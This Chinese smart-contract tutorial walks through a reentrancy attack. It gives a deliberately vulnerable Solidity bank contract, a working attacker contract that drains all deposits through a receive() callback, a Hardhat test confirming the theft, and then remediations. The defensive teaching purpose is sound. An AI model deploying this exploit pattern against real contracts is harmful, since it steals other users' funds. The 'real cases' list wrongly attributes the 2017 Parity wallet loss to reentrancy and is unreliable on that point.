欢迎订阅专栏 :10分钟智能合约:进阶实战
实战7:重入攻击提取资金 ------ 当"转账"成为漏洞的钥匙
本实战将完整演示重入攻击(Reentrancy Attack)的经典模式:一个看似正常的银行合约,因为"先转账后更新状态"的错误实现,被攻击者利用
receive()回调反复提款,最终耗尽合约中所有资金。我们将从漏洞分析、攻击合约编写、测试验证到修复方案,走一遍完整的攻防流程。
一、场景设定
我们有一个 SimpleBank 合约:
- 用户可存款(
deposit),增加自己的余额。 - 用户可提款(
withdraw),提取自己余额中的任意金额。 - 提款逻辑为:先检查余额充足 → 发送 ETH → 扣除余额。
这个顺序是重入攻击的典型温床。攻击者可以在 withdraw 发送 ETH 时,通过 receive() 回调再次进入 withdraw,而此时余额尚未扣除,于是可以重复提取,直到合约余额耗尽。
二、漏洞合约(VulnerableBank.sol)
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
uint256 public totalDeposits;
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
// 存款
function deposit() external payable {
require(msg.value > 0, "Amount must be > 0");
balances[msg.sender] += msg.value;
totalDeposits += msg.value;
emit Deposit(msg.sender, msg.value);
}
// ❌ 漏洞提款:先转账,后更新状态
function withdraw(uint256 _amount) external {
require(balances[msg.sender] >= _amount, "Insufficient balance");
// 危险:外部调用发生在状态更新之前
(bool success, ) = msg.sender.call{value: _amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= _amount;
totalDeposits -= _amount;
emit Withdraw(msg.sender, _amount);
}
// 查看合约余额
function getContractBalance() external view returns (uint256) {
return address(this).balance;
}
}
漏洞点 :withdraw 函数中,call 发送 ETH 的操作早于 balances[msg.sender] -= _amount,因此如果 msg.sender 是合约,其 receive() 函数可以在收到 ETH 时再次调用 withdraw,而此时余额尚未被扣减,检查仍然通过,形成递归提取。
三、攻击者合约(Attack.sol)
攻击者部署一个恶意合约,在 receive() 中判断合约余额是否充足,若充足则再次调用 withdraw,直至清空银行。
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./VulnerableBank.sol";
contract Attack {
VulnerableBank public bank;
address public owner;
uint256 public initialDeposit;
constructor(address _bank) {
bank = VulnerableBank(_bank);
owner = msg.sender;
}
// 攻击入口:先存款,然后触发提款
function attack() external payable {
require(msg.value > 0, "Need some ETH");
initialDeposit = msg.value;
bank.deposit{value: msg.value}();
// 启动提款,触发重入
bank.withdraw(msg.value);
}
// 收到 ETH 时的回调 ------ 重入点
receive() external payable {
// 如果银行合约余额 >= 攻击者余额,继续提款
if (address(bank).balance >= bank.balances(address(this))) {
uint256 balance = bank.balances(address(this));
if (balance > 0) {
bank.withdraw(balance);
}
}
}
// 提取攻击所得
function withdrawProfit() external {
require(msg.sender == owner, "Not owner");
payable(owner).transfer(address(this).balance);
}
// 获取本合约余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
攻击流程:
- 攻击者部署
Attack合约,传入VulnerableBank地址。 - 攻击者调用
attack并发送 1 ETH。 attack调用bank.deposit{value: 1 ETH}(),银行记录攻击者余额为 1 ETH。attack调用bank.withdraw(1 ether):- 银行检查余额充足(1 ≥ 1)。
- 银行向攻击者合约发送 1 ETH,触发
receive()。 receive()中检查银行余额是否还够支付攻击者余额(此时攻击者余额仍为 1),若满足则再次调用bank.withdraw(1 ether)。- 递归继续,直到银行余额不足以支付 1 ETH。
- 攻击者最后调用
withdrawProfit()将所有窃取的 ETH 转回自己的 EOA 账户。
四、实战操作(Hardhat + 测试脚本)
以下测试脚本使用 Hardhat 模拟攻击过程,并验证资金是否被全部取走。
javascript
// test/attack.js
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("重入攻击", function () {
let bank, attack;
let owner, attacker, user;
beforeEach(async function () {
[owner, attacker, user] = await ethers.getSigners();
// 部署漏洞银行
const Bank = await ethers.getContractFactory("VulnerableBank");
bank = await Bank.deploy();
await bank.deployed();
// 存入一些初始资金(模拟其他用户)
await owner.sendTransaction({
to: bank.address,
value: ethers.utils.parseEther("10"),
});
// 用户存款
await bank.connect(user).deposit({
value: ethers.utils.parseEther("5"),
});
// 此时银行总余额 15 ETH
});
it("攻击者通过重入盗走所有资金", async function () {
// 1. 部署攻击合约
const Attack = await ethers.getContractFactory("Attack");
attack = await Attack.connect(attacker).deploy(bank.address);
await attack.deployed();
// 2. 获取攻击前银行余额
const initialBankBalance = await bank.getContractBalance();
console.log(`攻击前银行余额: ${ethers.utils.formatEther(initialBankBalance)} ETH`);
// 3. 攻击者发起攻击,发送 1 ETH
await attack.connect(attacker).attack({
value: ethers.utils.parseEther("1"),
});
// 4. 检查银行余额是否归零
const finalBankBalance = await bank.getContractBalance();
console.log(`攻击后银行余额: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
expect(finalBankBalance).to.equal(0);
// 5. 攻击者提取利润
await attack.connect(attacker).withdrawProfit();
const profit = await ethers.provider.getBalance(attacker.address);
// 攻击者投入 1 ETH,最终应获得约 16 ETH(因为银行有 15 ETH + 攻击者的 1 ETH = 16,但扣除gas)
// 为了测试,我们只检查大于 10 ETH
expect(profit).to.be.gt(ethers.utils.parseEther("10"));
});
});
预期输出:
makefile
攻击前银行余额: 15.0 ETH
攻击后银行余额: 0.0 ETH
攻击者成功提取了合约中的所有 ETH(包括其他用户的存款)。
五、防御措施
方案一:遵循 检查-生效-交互 模式(CEI,最根本)
将状态更新放在外部调用之前:
solidity
function withdraw(uint256 _amount) external {
require(balances[msg.sender] >= _amount, "Insufficient balance");
// ✅ 先更新状态
balances[msg.sender] -= _amount;
totalDeposits -= _amount;
// ✅ 再发送 ETH
(bool success, ) = msg.sender.call{value: _amount}("");
require(success, "Transfer failed");
}
这样,即使攻击者回调 withdraw,余额已经被扣减,require 检查不会通过,攻击失效。
方案二:使用重入锁(第二道防线)
导入 OpenZeppelin 的 ReentrancyGuard:
solidity
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SafeBank is ReentrancyGuard {
function withdraw(uint256 _amount) external nonReentrant {
// 逻辑不变,但 nonReentrant 确保同一交易中不能再次进入
}
}
nonReentrant修饰符会在函数调用时设置一个锁,如果重入发生,会revert。
方案三:使用 transfer 或 send(不推荐)
transfer 和 send 仅转发 2300 gas,不足以执行重入攻击者的合约逻辑,但在现代环境中,call + 检查已成为主流,且 transfer 的固定 gas 可能导致某些接收方合约失败。
六、真实案例
- The DAO 攻击(2016):以太坊历史上最著名的重入攻击,导致 360 万 ETH 被窃取,最终导致以太坊硬分叉。
- Parity 钱包(2017):因重入漏洞导致多签钱包被攻击,损失约 3000 万美元。
- 多次 DeFi 协议(2020-2021):如 Uniswap、SushiSwap 等早期版本均遭遇过重入攻击变种。
七、总结
- 重入攻击的本质:合约在状态更新前执行外部调用,攻击者利用回调钻空子,使不变量(如余额)被破坏。
- 核心防御 :永远 先更新状态,再外部调用(CEI 模式),并辅以重入锁。
- 审计重点:所有涉及资产转移的函数,必须检查外部调用是否发生在状态修改之后。
- 现代最佳实践 :使用 OpenZeppelin 的
ReentrancyGuard作为通用保护,但 CEI 模式仍是基础。